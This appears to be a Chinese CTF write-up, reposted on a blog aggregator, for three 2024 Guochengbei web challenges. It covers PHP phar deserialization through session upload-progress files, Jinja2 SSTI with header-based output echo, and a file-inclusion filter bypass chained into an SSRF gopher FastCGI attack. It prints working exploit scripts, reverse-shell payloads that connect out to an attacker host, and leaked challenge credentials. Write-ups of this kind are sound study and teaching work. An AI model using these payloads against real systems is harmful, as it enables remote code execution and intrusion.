2024国城杯 Web

这四道题目Jasper大佬都做了镜像可以直接拉取进行复现
https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/

n0ob_un4er

这道题没有复现成功, 不知道为啥上传了文件, 也在 /tmp目录下生成了sess_PHPSESSID的文件, 但是就是无法写入内容, 文件的内容一直都是空白, 也直接用python的脚本一键运行, 显示了恶意phar已copy到/tmp/tmp.tmp , 但依旧没啥用, 搞不明白, 所以仅记录了解一下整个的一个过程, 加深了解session文件的利用

<?php
$SECRET  = `/readsecret`;
include "waf.php";
class User {public $role;function __construct($role) {$this->role = $role;}
}
class Admin{public $code;function __construct($code) {$this->code = $code;}function __destruct() {echo "Admin can play everything!";eval($this->code);}
}
function game($filename) {if (!empty($filename)) {if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {echo "Well done!";} else {echo "Copy failed.";}} else {echo "User can play copy game.";}
}
function set_session(){global $SECRET;$data = serialize(new User("user"));$hmac = hash_hmac("sha256", $data, $SECRET);setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
function check_session() {global $SECRET;$data = $_COOKIE["session-data"];list($data, $hmac) = explode("-----", $data, 2);if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {die("hacker!");}$data = unserialize($data);if ( $data->role === "user" ){game($_GET["filename"]);}else if($data->role === "admin"){return new Admin($_GET['code']);}return 0;
}
if (!isset($_COOKIE["session-data"])) {set_session();highlight_file(__FILE__);
}else{highlight_file(__FILE__);check_session();
}

无法直接通过session-data伪造admin身份进行命令执行( 因为使用了hmac-sha256签名算法, 且无法获取到$SECRET, )

开始能用的就是只有copy, 而copy是可以使用phar伪协议的, 只有能够反序列化Admin类就可以RCE, 所以要想到是利用phar打反序列化

phar反序列化需要有文件上传的点, 这里没有, 但可以将phar编码为字符串进行写入到文件里面去

所以需要找一个可控的文件, 一般可控的文件有临时文件, 日志文件, session文件, 但这里设置了open_basedir, 也就无法利用日志文件
临时文件无法知道文件名, 也无法利用, 所以这里可用的就是session文件了, 并且这里php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件

最终思路:
上传文件, 然后在session的临时文件上写入编码后的phar文件, 然后利用filter伪协议将phar文件的内容还原写到 /tmp/tmp.tmp文件中, 最后利用phar伪协议解析, 触发反序列化进行 RCE

上传文件: php upload process可以在/tmp下生成部分内容可控的sess_<sessionid>文件
要有 PHPSESSID

在这里插入图片描述

在这个session文件里面开头都会存在 upload_proccess_

利用到php exit死亡绕过的知识点, 将不可控的部分消除掉
可控内容之前的upload_process_字段,添加aaaaaa后,三次base64即可置空

在这里插入图片描述

可控内容之后,用string.strip_tags过滤器可以全部清除掉,只需在可控部分之后加个<即可

最终payload构造:: aaaaaa+base64_encode(base64_encode(base64_encode(payload))) + <

这个payload是用于放在文件上传的PHP_SESSION_UPLOAD_PROGRESS下的内容

payload触发:

?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/[PHPSESSID]

到这里就实现了/tmp/tmp.tmp任意写

然后要构造phar文件内容

<?phpclass Admin{public $code;function __construct($code) {$this->code = $code;}}@unlink("exp.phar");$phar = new Phar("exp.phar");                  // 后缀名必须为 phar,生成之后可以修改$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub$o = new Admin("system(' bash -c \"bash -i >& /dev/tcp/*.*.*.*/9999 0>&1\"');");$phar->setMetadata($o);                         // 将自定义的 meta-data 存入 manifest$phar->addFromString("jasper", "123");       // 添加要压缩的文件//签名自动计算$phar->stopBuffering();$pharContent = file_get_contents('exp.phar');$b64 = base64_encode(base64_encode(base64_encode($pharContent)));print("bbbbbb".$b64.htmlspecialchars('<'));
?>

python脚本

import io
import requests
import threading
import timesessid = 'jasper1'
# url = 'http://127.0.0.1:8888/index.php'
url = "http://125.70.243.22:31293/index.php"
## read flag
phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGd2RFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZCTlVGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBha2w1VDJsS2VtVllUakJhVnpCdlNuazVlVnBYUm10ak1sWnFZMjFXTUVwNWF6ZEphblE1UW1kQlFVRkhjR2hqTTBKc1kyZE5RVUZCUkU5d01WSnVRWGRCUVVGT1NtcFRTV2t5UVZGQlFVRkJRVUZCUkVWNVRTOWtkbll5V1hoSE5GaE9jRXBPTHpWWmFFWlBXRGx4ZUdFMGMwRm5RVUZCUldSRFZGVkpQUT09<"
# reverse shell
# phar_payload = "bbbbbbVUVRNWQyRklRV2RZTVRsSlVWVjRWVmd3VGxCVVZrSktWRVZXVTB0RGF6ZEpSRGdyUkZGeFdFRkJRVUZCVVVGQlFVSkZRVUZCUVVKQlFVRkJRVUZDYWtGQlFVRlVlbTh4VDJsS1FscEhNWEJpYVVrMlRWUndOMk42YnpCUGFVcHFZakpTYkVscWRIcFBhbGt3VDJsS2VtVllUakJhVnpCdlNubENhVmxZVG05SlF6RnFTVU5LYVZsWVRtOUpRekZ3U1VRMGJVbERPV3RhV0ZsMlpFZE9kMHg2UlhoT2FUUXlUV2swZWs5RE5ETk5VemcxVDFSck5VbEVRU3RLYWtWcFNubHJOMGxxZERsQ1owRkJRVWR3YUdNelFteGpaMDFCUVVGRFVqRnNVbTVCZDBGQlFVNUthbE5KYVRKQlVVRkJRVUZCUVVGRVJYbE5lV2xOVG5GMGFFaElOMmhyT0Uxa1EwZFJjM2hGY1hORE1XZDBRV2RCUVVGRlpFTlVWVWs5<"# 全局事件,用于协调线程退出
stop_event = threading.Event()def write_session_file(session):while not stop_event.is_set():f = io.BytesIO(b'a' * 1024 * 50)session.post(url,data={"PHP_SESSION_UPLOAD_PROGRESS": phar_payload},files={"file": ('q.txt', f)},cookies={'PHPSESSID': sessid})def copy_to_tmp(session):payload = "?filename=php://filter/string.strip_tags|convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/tmp/sess_" + sessidwhile not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "Well done!" in res.text:print("[+] 恶意phar已copy到/tmp/tmp.tmp ...")else:print("[-] 拷贝失败!")if "flag" in res.text or "D0g3xGC" in res.text:stop_event.set()  ## 设置退出事件breakdef unser_phar(session):payload = "?filename=phar:///tmp/tmp.tmp/jasper"while not stop_event.is_set():res = requests.get(url + payload, cookies=session.cookies)if "flag" in res.text or "D0g3xGC" in res.text:print(res.text)print("[+] 利用成功!")stop_event.set()  ## 设置退出事件breaksession = requests.Session()# 创建并启动线程
write_thread = threading.Thread(target=write_session_file, args=(session,))
write_thread.daemon = True
write_thread.start()copy_thread = threading.Thread(target=copy_to_tmp, args=(session,))
copy_thread.daemon = True
copy_thread.start()unser_thread = threading.Thread(target=unser_phar, args=(session,))
unser_thread.daemon = True
unser_thread.start()# 主线程保持活跃,等待子线程结束
while not stop_event.is_set():time.sleep(1)

Ez_Gallery

admin/123456登录进去

任意文件读取, 读取源码 app.py

import jinja2
from pyramid.config import Configurator
from pyramid.httpexceptions import HTTPFound
from pyramid.response import Response
from pyramid.session import SignedCookieSessionFactory
from wsgiref.simple_server import make_server
from Captcha import captcha_image_view, captcha_store
import re
import osclass User:def __init__(self, username, password):self.username = usernameself.password = passwordusers = {"admin": User("admin", "123456")}def root_view(request):# 重定向到 /loginreturn HTTPFound(location='/login')def info_view(request):# 查看细节内容if request.session.get('username') != 'admin':return Response("请先登录", status=403)file_name = request.params.get('file')file_base, file_extension = os.path.splitext(file_name)if file_name:file_path = os.path.join('/app/static/details/', file_name)try:with open(file_path, 'r', encoding='utf-8') as f:content = f.read()print(content)except FileNotFoundError:content = "文件未找到。"else:content = "未提供文件名。"return {'file_name': file_name, 'content': content, 'file_base': file_base}def home_view(request):# 主路由if request.session.get('username') != 'admin':return Response("请先登录", status=403)detailtxt = os.listdir('/app/static/details/')picture_list = [i[:i.index('.')] for i in detailtxt]file_contents = {}for picture in picture_list:with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:file_contents[picture] = f.read(80)return {'picture_list': picture_list, 'file_contents': file_contents}def login_view(request):if request.method == 'POST':username = request.POST.get('username')password = request.POST.get('password')user_captcha = request.POST.get('captcha', '').upper()if user_captcha != captcha_store.get('captcha_text', ''):return Response("验证码错误,请重试。")user = users.get(username)if user and user.password == password:request.session['username'] = usernamereturn Response("登录成功!<a href='/home'>点击进入主页</a>")else:return Response("用户名或密码错误。")return {}def shell_view(request):if request.session.get('username') != 'admin':return Response("请先登录", status=403)expression = request.GET.get('shellcmd', '')blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\..*', r'.*soft.*', r'.*%.*']if any(re.search(pattern, expression) for pattern in blacklist_patterns):return Response('wafwafwaf')try:result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})if result is not None:return Response('success')else:return Response('error')except Exception as e:return Response('error')def main():session_factory = SignedCookieSessionFactory('secret_key')with Configurator(session_factory=session_factory) as config:config.include('pyramid_chameleon')  # 添加渲染模板config.add_static_view(name='static', path='/app/static')config.set_default_permission('view')  # 设置默认权限为view# 注册路由config.add_route('root', '/')config.add_route('captcha', '/captcha')config.add_route('home', '/home')config.add_route('info', '/info')config.add_route('login', '/login')config.add_route('shell', '/shell')# 注册视图config.add_view(root_view, route_name='root')config.add_view(captcha_image_view, route_name='captcha')config.add_view(home_view, route_name='home', renderer='home.pt', permission='view')config.add_view(info_view, route_name='info', renderer='details.pt', permission='view')config.add_view(login_view, route_name='login', renderer='login.pt')config.add_view(shell_view, route_name='shell', renderer='string', permission='view')config.scan()app = config.make_wsgi_app()return appif __name__ == "__main__":app = main()server = make_server('0.0.0.0', 6543, app)server.serve_forever()

黑名单:

blacklist_patterns = [r'.*length.*', r'.*count.*', r'.*[0-9].*', r'.*\\..*', r'.*soft.*', r'.*%.*']

没有回显, 需要一些方法去拿到回显

官方wp:

{{cycler.__init__.__globals__. __builtins__['exec']
("request.add_response_callback(lambda request, response: setattr(response, 'text',__import__('os').popen('whoami').read()))",{'request': request})}}

过滤了点 ., 需要绕过, 用[ ] 绕过
以及用getattr 绕过 request.add_response_callback ==> getattr(request,'add_response_callback')

{{cycler['__init__']['__globals__']['__builtins__']['exec']("getattr(request,'add_response_callback')
(lambda request,response:setattr(response,'text',getattr(getattr(__import__('os'),'popen')('whoami'),'read')()))",{'request':request})}}

其他大佬的方法:

{{cycler['__init__']['__globals__']['__builtins__']
['setattr'](cycler['__init__']['__globals__']['__builtins__']['__import__']
('sys')['modules']['wsgiref']['simple_server']
['ServerHandler'],'http_version',cycler['__init__']
['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']())}}

Jinja2-SSTI 新回显方式技术学习

从这道题目去学习了一下Jinja2-SSTI 新回显方式技术

环境搭建

app.py

from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)@app.route('/', methods=["POST"])
def template():template = request.form.get("code")result=render_template_string(template)print(result)if result !=None:return "OK"else:return "error"if __name__ == '__main__':app.run(debug=False, host='0.0.0.0', port=8000)
flask中的Server头回显

响应包里面的server头打印了Werkzeug和python的版本号, 可以利用它的值进行回显

在这里插入图片描述

大佬们的文章分析的很清楚, Server头的值是从self.version_string()出来的,而 version_string方法,其实就是直接将server_version属性和sys_version属性拼接在一起的

以属性的方式存放于类中, 那么就可以通过一些赋值的方式将我们的代码或者是命令执行的回显放在这个这个属性中, 从而随着请求头的send, 我们需要的回显就会出现在响应包里面

但是 WSGIRequestHandlerserver_version其实是方法

class WSGIRequestHandler(BaseHTTPRequestHandler):server: BaseWSGIServer@propertydef server_version(self) -> str:  # type: ignorereturn self.server._server_version

是一个方法而不是属性, 好像无法通过利用 setattr 这种去进行赋值(因为lambda匿名函数表达式不被jinja2引擎解析)
但是它前面又有一个 @property ==> 它把方法包装成属性,让方法可以以属性的形式被访问和调用
所以我们可以直接给他赋str类型的值

关键是需要调用到 werkzeug.serving.WSGIRequestHandler 类, 使用 setattr 控制它的server_version属性的值

payload

{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}# 这里的g是 flask 提供的一个全局变量
# sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块, 从这里获取所需要的werkzeug模块, 从而获取到WSGIRequestHandler 对象

在这里插入图片描述

同理也可以换成 sys_version

在这里插入图片描述

HTTP协议回显

看到 send_response 方法

def send_response(self, code, message=None):
"""Add the response header to the headers buffer and log the
response code.Also send two standard headers with the server software
version and the current date."""
self.log_request(code)
self.send_response_only(code, message)
self.send_header('Server', self.version_string())
self.send_header('Date', self.date_time_string())

发送一些信息, 其实就是回显包里面的那些信息,
看到 send_response_only 方法

def send_response_only(self, code, message=None):
"""Send the response header only."""
if self.request_version != 'HTTP/0.9':if message is None:if code in self.responses:message = self.responses[code][0]else:message = ''if not hasattr(self, '_headers_buffer'):self._headers_buffer = []self._headers_buffer.append(("%s %d %s\r\n" %(self.protocol_version, code, message)).encode('latin-1', 'strict'))

在这里插入图片描述

可以看到这三个值都是页面上回显的值, 那么只要能够控制他们的值, 就可以得到我们想要的回显了

首先 protocol_version 它是 werkzeug.serving.WSGIRequestHandler 里面的一个属性,
所以需要获取到WSGIRequestHandler 对象
sys 模块的 modules 属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块

而获取sys模块的方式有很多种, 可以从__spec__的全局变量中获取

{{lipsum.__spec__.__init__.__globals__}}

在这里插入图片描述

最终获取 WSGIRequestHandler 对象里面的 protocol_version 属性

{{lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler.__dict__}}

在这里插入图片描述

然后就是使用 setattr 方法控制 protocol_version 属性的值

payload

{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo xpw').read())}}

在这里插入图片描述参考文章:
https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2DfosHKwd43x

https://xz.aliyun.com/t/15994?time__1311=GqjxcD2DnAY4lxGghDyDIg8QrbCACEioD%#toc-7

signal

网站进去一个登录框, dirsearch扫一下目录
有一个/.index.php.swp

最近我朋友让我给他注册个账号,还想要在他的专属页面实现查看文件的功能。好吧,那就给他创个guest:MyF3iend,我是不可能给他我的admin账户的

拿到一个账号密码: guest:MyF3iend

登录进去, 观察到它的 url

在这里插入图片描述

存在一个任意文件读取漏洞, 因为之前扫目录可用扫到一个 admin.php ,直接读取会跳转到 index.php, 说明被执行了, 所以这里可以猜测是用了include函数来包含的 , 需要使用php伪协议绕过一下读取源码, 但是也过滤了挺多, 二次编码一下绕过

?path=php://filter/%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php

读取到admin.php

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {$_SESSION['error'] = 'Please fill in the username and password';header("Location: index.php");exit();
}$url = $_POST['url'];
$error_message = '';
$page_content = '';if (isset($url)) {if (!preg_match('/^https:\/\//', $url)) {$error_message = 'Invalid URL, only https allowed';} else {$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $page_content = curl_exec($ch);if ($page_content === false) {$error_message = 'Failed to fetch the URL content'.curl_error($ch);}curl_close($ch);}
}
?>

读一下guest.php, 存在waf的内容

<?php
session_start();
error_reporting(0);if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'guest' ) {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}if (!isset($_GET['path'])) {header("Location: /guest.php?path=/tmp/hello.php");exit;
}$path = $_GET['path'];
if (preg_match('/(\.\.\/|php:\/\/tmp|string|iconv|base|rot|IS|data|text|plain|decode|SHIFT|BIT|CP|PS|TF|NA|SE|SF|MS|UCS|CS|UTF|quoted|log|sess|zlib|bzip2|convert|JP|VE|KR|BM|ISO|proc|\_)/i', $path)) {echo "Don't do this";
}else{include($path);
}?>

还是需要进入admin.php里面去, 需要拿到它的账号密码

在最初的登录界面那里可以发现一个 StoredAccounts.php 读取一下试试

在这里插入图片描述

StoredAccounts.php 给了admin的密码

<?php
session_start();$users = ['admin' => 'FetxRuFebAdm4nHace','guest' => 'MyF3iend'
];if (isset($_POST['username']) && isset($_POST['password'])) {$username = $_POST['username'];$password = $_POST['password'];if (isset($users[$username]) && $users[$username] === $password) {$_SESSION['logged_in'] = true;$_SESSION['username'] = $username;if ($username === 'admin') {header('Location: admin.php');} else {header('Location: guest.php');}exit();} else {$_SESSION['error'] = 'Invalid username or password';header('Location: index.php');exit();}
} else {$_SESSION['error'] = 'Please fill in the username and password';header('Location: index.php');exit();
}

登录admin用户, 存在一个url参数打sstf, 但是只能限定是 https, vps要https打302, 没有域名的话借助ngrok工具, 在服务器上面使用这个工具可以创建一个临时网站

ngrok: https://download.ngrok.com/linux?tab=download

用于本地服务跳转的代码:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl = 'http://[ip]/302.php'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

ngrok用于搭建临时网站:

ngrok http 8080

在这里插入图片描述

在这里插入图片描述

将这个传入url, 可以看到内容

在这里插入图片描述

接下来就是利用工具生成payload打fastcgi

在这里插入图片描述

改一下app.py 的url

在这里插入图片描述

可以看到已经执行了命令

在这里插入图片描述

那么接下来就是反弹shell了

在这里插入图片描述

同理app.py也相应的更改:

from flask import Flask, redirectapp = Flask(__name__)@app.route('/')
def indexRedirect():redirectUrl ='gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00j%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/[ip]/6666%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'return redirect(redirectUrl)if __name__ == '__main__':app.run('127.0.0.1', port=8080, debug=True)

在这里插入图片描述

后面本来还有一个提权, 但是这个环境好像没有, 拿别的师傅的截图记录一下

在这里插入图片描述

sudo cat /tmp/whereflag/../../../root/flag

在这里插入图片描述

参考文章:

https://jaspersec.top/2024/12/16/0x12%20%E5%9B%BD%E5%9F%8E%E6%9D%AF2024%20writeup%20with%20docker/
https://www.cnblogs.com/Litsasuk/articles/18593334#%E5%87%BA%E9%A2%98%E5%8F%82%E8%80%83%E6%96%87%E7%AB%A0
https://www.cnblogs.com/dghh/p/18598149

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/64764.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

el-input输入框需要支持多输入,最后传输给后台的字段值以逗号分割

需求&#xff1a;一个输入框字段需要支持多次输入&#xff0c;最后传输给后台的字段值以逗号分割 解决方案&#xff1a;结合了el-tag组件的动态编辑标签 那块的代码 //子组件 <template><div class"input-multiple-box" idinputMultipleBox><div>…

Ubuntu 22.04.5 修改IP

Ubuntu22.04.5使用的是netplan管理网络&#xff0c;因此需要在文件夹/etc/netplan下的01-network-manager-all.yaml中修改&#xff0c;需要权限&#xff0c;使用sudo vim或者其他编辑器&#xff0c;修改后的内容如下&#xff1a; # Let NetworkManager manage all devices on …

基于SpringBoot的宠物寄养系统的设计与实现(源码+SQL+LW+部署讲解)

文章目录 摘 要1. 第1章 选题背景及研究意义1.1 选题背景1.2 研究意义1.3 论文结构安排 2. 第2章 相关开发技术2.1 前端技术2.2 后端技术2.3 数据库技术 3. 第3章 可行性及需求分析3.1 可行性分析3.2 系统需求分析 4. 第4章 系统概要设计4.1 系统功能模块设计4.2 数据库设计 5.…

【Linux】:线程安全 + 死锁问题

&#x1f4c3;个人主页&#xff1a;island1314 &#x1f525;个人专栏&#xff1a;Linux—登神长阶 ⛺️ 欢迎关注&#xff1a;&#x1f44d;点赞 &#x1f442;&#x1f3fd;留言 &#x1f60d;收藏 &#x1f49e; &#x1f49e; &#x1f49e; 1. 线程安全和重入问题&…

Mysql超详细安装配置教程(保姆级)

目录 一、下载Mysql 二、安装Mysql 三、配置Mysql 四、连接Mysql 五、部分疑难问题 一、下载Mysql 从官网下载MySQL&#xff0c;这里我选用的是Mysql8.0.34版本 二、安装Mysql 下载完成后直接双击进行安装&#xff0c;打开后的页面如下所示&#xff1a; “Developer Defa…

Maple软件的安装和使用

文章目录 1.前言说明2.我为什么要学习Maple3.软件的安装4.如何使用4.1基本的赋值语句4.2函数的定义4.3三个类型的书写介质 5.指数运算5.1使用面板5.2自己输入 6.对数的使用 1.前言说明 众所周知&#xff0c;我虽然是一名这个计算机专业的学生&#xff0c;但是我对于数学&#…

Sqoop的使用

每个人的生活都是一个世界&#xff0c;即使最平凡的人也要为他那个世界的存在而战斗。 ——《平凡的世界》 目录 一、sqoop简介 1.1 导入流程 1.2 导出流程 二、使用sqoop 2.1 sqoop的常用参数 2.2 连接参数列表 2.3 操作hive表参数 2.4 其它参数 三、sqoop应用 - 导入…

FFmpeg 4.3 音视频-多路H265监控录放C++开发二十一.4,SDP协议分析

SDP在4566 中有详细描述。 SDP 全称是 Session Description Protocol&#xff0c; 翻译过来就是描述会话的协议。 主要用于两个会话实体之间的媒体协商。 什么叫会话呢&#xff0c;比如一次网络电话、一次电话会议、一次视频聊天&#xff0c;这些都可以称之为一次会话。 那为什…

[极客大挑战 2019]HardSQL 1

看了大佬的wp&#xff0c;没用字典爆破&#xff0c;手动试出来的&#xff0c;屏蔽了常用的关键字&#xff0c;例如&#xff1a;order select union and 最搞的是&#xff0c;空格也有&#xff0c;这个空格后面让我看了好久&#xff0c;该在哪里加括号。 先传入1’ 1试试&#…

网络渗透测试实验三:SQL注入

1.实验目的和要求 实验目的:了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。 系统环境:Kali Linux 2、Windows Server 网络环境:交换网络结构 实验工具: SqlMAP;DVWA 2.实验步骤 实验目…

SQL-Server链接服务器访问Oracle数据

SQL Server 链接服务器访问 Oracle 离线安装 .NET Framework 3.5 方法一&#xff1a;使用 NetFx3.cab 文件 下载 NetFx3.cab 文件&#xff0c;并将其放置在 Windows 10 系统盘的 C:Windows 文件夹中。 以管理员身份运行命令提示符&#xff0c;输入以下命令并回车&#xff1a; …

【R语言】校准曲线,绘制原理

①获取predict的结果&#xff0c;“prob.Case”这一列就是预测风险概率&#xff0c;“truth”列为实际发生结局的分组 ②将prob.Case进行分桶&#xff08;简单理解为分组&#xff0c;一般分10组)&#xff0c;常见的分桶方式有两种&#xff1a;一是将prob.Case从大到小排序后&a…

QTDemo:串口调试工具

项目简介 本项目通过QT框架设计一款可以在Windows、Linux等平台的跨平台串口助手&#xff0c;串口功能能够满足基本的调试需求。 本项目采用的版本为&#xff1a;QT5.14 visual studio 2022 进行开发。 项目源码&#xff1a;https://github.com/say-Hai/MyCOMDemo 项目页面&am…

基于SpringBoot和OAuth2,实现通过Github授权登录应用

基于SpringBoot和OAuth2&#xff0c;实现通过Github授权登录应用 文章目录 基于SpringBoot和OAuth2&#xff0c;实现通过Github授权登录应用0. 引言1. 创建Github应用2. 创建SpringBoot测试项目2.1 初始化项目2.2 设置配置文件信息2.3 创建Controller层2.4 创建Html页面 3. 启动…

CMS漏洞靶场攻略

DeDeCMS 环境搭建 傻瓜式安装 漏洞一&#xff1a;通过文件管理器上传WebShel 步骤⼀:访问目标靶场其思路为 dedecms 后台可以直接上传任意文件&#xff0c;可以通过⽂件管理器上传php文件获取webshell 登陆网站后台 步骤二&#xff1a;登陆到后台点击 【核心】 --》 【文件式…

0xc0000020错误代码怎么处理,Windows11、10坏图像错误0xc0000020的修复办法

“0xc0000020”是一种 Windows 应用程序错误代码&#xff0c;通常表明某些文件缺失或损坏。这可能是由于系统文件损坏、应用程序安装或卸载问题、恶意软件感染、有问题的 Windows 更新等原因导致的。 比如&#xff0c;当运行软件时&#xff0c;可能会出现类似“C:\xx\xxx.dll …

LabVIEW 中 NI Vision 模块的IMAQ Create VI

IMAQ Create VI 是 LabVIEW 中 NI Vision 模块&#xff08;NI Vision Development Module&#xff09;的一个常用 VI&#xff0c;用于创建一个图像变量。该图像变量可以存储和操作图像数据&#xff0c;是图像处理任务的基础。 ​ 通过以上操作&#xff0c;IMAQ Create VI 是构建…

HTML5 标签输入框(Tag Input)详解

HTML5 标签输入框&#xff08;Tag Input&#xff09;详解 标签输入框&#xff08;Tag Input&#xff09;是一种用户界面元素&#xff0c;允许用户输入多个标签或关键词&#xff0c;通常用于表单、搜索框或内容分类等场景。以下是实现标签输入框的详细讲解。 1. 任务概述 标…

使用位操作符实现加减乘除!

欢迎拜访&#xff1a;雾里看山-CSDN博客 本篇主题&#xff1a;使用位操作符实现加减乘除 发布时间&#xff1a;2025.1.1 隶属专栏&#xff1a;C语言 目录 位操作实现加法运算&#xff08;&#xff09;原理代码示例 位操作实现减法运算&#xff08;-&#xff09;原理代码示例 位…

[Spring] Spring AOP

&#x1f338;个人主页:https://blog.csdn.net/2301_80050796?spm1000.2115.3001.5343 &#x1f3f5;️热门专栏: &#x1f9ca; Java基本语法(97平均质量分)https://blog.csdn.net/2301_80050796/category_12615970.html?spm1001.2014.3001.5482 &#x1f355; Collection与…